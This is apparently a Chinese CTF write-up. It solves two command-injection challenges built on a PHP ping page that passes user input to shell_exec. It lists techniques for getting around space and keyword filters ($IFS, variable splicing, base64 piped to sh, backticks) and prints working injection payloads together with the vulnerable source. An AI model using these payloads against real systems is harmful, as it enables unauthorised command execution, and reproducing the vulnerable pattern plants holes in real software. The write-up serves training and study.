| 知识点 Linux ping 命令Linux ping 命令用于检测主机。执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。
 语法:ping [-dfnqrRv][-c<完成次数>][-i<间隔秒数>][-I<网络界面>][-l<前置载入>][-p<范本样式>][-s<数据包大小>][-t<存活数值>][主机名称或IP地址] 参数说明:  -d 使用Socket的SO_DEBUG功能。
 -c <完成次数> 设置完成要求回应的次数。
 -f 极限检测。
 -i<间隔秒数> 指定收发信息的间隔时间。
 -I<网络界面> 使用指定的网络接口送出数据包。
 -l<前置载入> 设置在送出要求信息之前,先行发出的数据包。
 -n 只输出数值。
 -p<范本样式> 设置填满数据包的范本样式。
 -q 不显示指令执行过程,开头和结尾的相关信息除外。
 -r 忽略普通的Routing Table,直接将数据包送到远端主机上。
 -R 记录路由过程。
 -s<数据包大小> 设置数据包的大小。
 -t<存活数值> 设置存活数值TTL的大小。
 -v 详细显示指令的执行过程。
 -w <deadline> 在 deadline 秒后退出。
 -W <timeout> 在等待 timeout 秒后开始执行。
 命令中空格被过滤的解决方法  linux {cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
 windows下 (实用性不是很广,也就type这个命令可以用)
type.\flag.txt
type,flag.txt
echo,123456
 拼接符  
   &:前面和后面命令都要执行,无论前面真假
 &&: 表示前一条命令执行成功时,才执行后一条命令
 |:直接执行后面的语句
 ||:表示上一条命令执行失败后,才执行下一条命令
 ;:表示命令依次执行
 贪婪匹配  
   表达式 .*就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串,以第一个a开始,最后一个b结束。如果用它来搜索aabab的话,它会匹配整个字符串aabab。 ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)
 cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。
 如果cat被过滤,可以用下边的方法进行绕过  
   (1)more:一页一页的显示档案内容(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
 (3)head:查看头几行
 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
 (5)tail:查看尾几行
 (6)nl:显示的时候,顺便输出行号
 (7)od:以二进制的方式读取档案内容
 (8)vi:一种编辑器,这个也可以查看
 (9)vim:一种编辑器,这个也可以查看
 (10)sort:可以查看
 (11)uniq:可以查看
 (12)file -f:报错出具体内容
 内联执行:将指定的函数体插入并取代每一处调用该函数的地方。反引号 在linux中作为内联执行,执行输出结果。
 [ACTF2020 新生赛]Exec与[GXYCTF2019]Ping Ping Ping题类似,但此题更简单  
 需要了解的知识点ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)
 cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。  查看此文件的目录:
 127.0.0.1|ls
  只有一个index.php
 查看上级目录127.0.0.1|ls /
  查看flag:
 127.0.0.1|cat /flag
  拿到flag~~
 [GXYCTF2019]Ping Ping Ping题目类型:命令执行+代码审计
  提示
 /?ip= 输入/?ip=127.0.0.1,回显成功
  显示当前的所有文件:
 /?ip=127.0.0.1|ls  这里查到了两个php文件 查看flag.php:
 ?ip=127.0.0.1|cat flag.php
  这里提示 /?ip= fxck your space!额···fxck是什么东西,space是空格,大佬说应该是空格被过滤了
  
 命令中空格被过滤的解决方法:
 {cat,flag.txt}
 cat${IFS}flag.txt
 cat$IFS$9flag.txt
 cat<flag.txt
 cat<>flag.txt
 kg=$'\x20flag.txt'&&cat$kg
 (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过) 试试第一个方法:/?ip=127.0.0.1|{cat,flag.php}
  发现符号又被过滤了,说明 {}大括号被过滤了,那第二个不能用了试试第三个方法
 /?ip=127.0.0.1|cat$IFS$9flag.php
  flag也被过滤了! 不是查出来两个文件嘛,看看另一个吧查看index.php文件:
 /?ip=127.0.0.1|cat$IFS$9index.php
  发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码 <?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>
 代码审计一下,好多都被过滤了emmm;但最后有个变量a,我也不知道怎么做不会了,学一下大佬的方法吧
  方法一:变量拼接字符串——将a的值覆盖,然后进行绕过构造payload:
 /?ip=127.0.0.1;a=g;cat$IFS$9fla$a.phpor/?ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b总之就是用变量拼接成flag
 
  啥也没有,查看源码 /?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{af15354a-6bdf-4609-b230-75bdc03e1dbf}";
?>
 拿到flag~~ 方法二:sh命令来执行使用 base64 编码的方式来绕过 flag 过滤。
  加密命令
 echo “cat flag.php” | base64
 解密命令并执行
 echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
 然后用$IFS$9代替空格。构造payload:
 /?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
  拿到flag~~ 方法三:内联执行内联函数:将指定的函数体插入并取代每一处调用该函数的地方。
 反引号在linux中作为内联执行,执行输出结果。也就是说 cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php
 构造payload /?ip=127.0.0.1;cat$IFS$9`ls`
 
 做完的感受就是flag真会藏,坑 |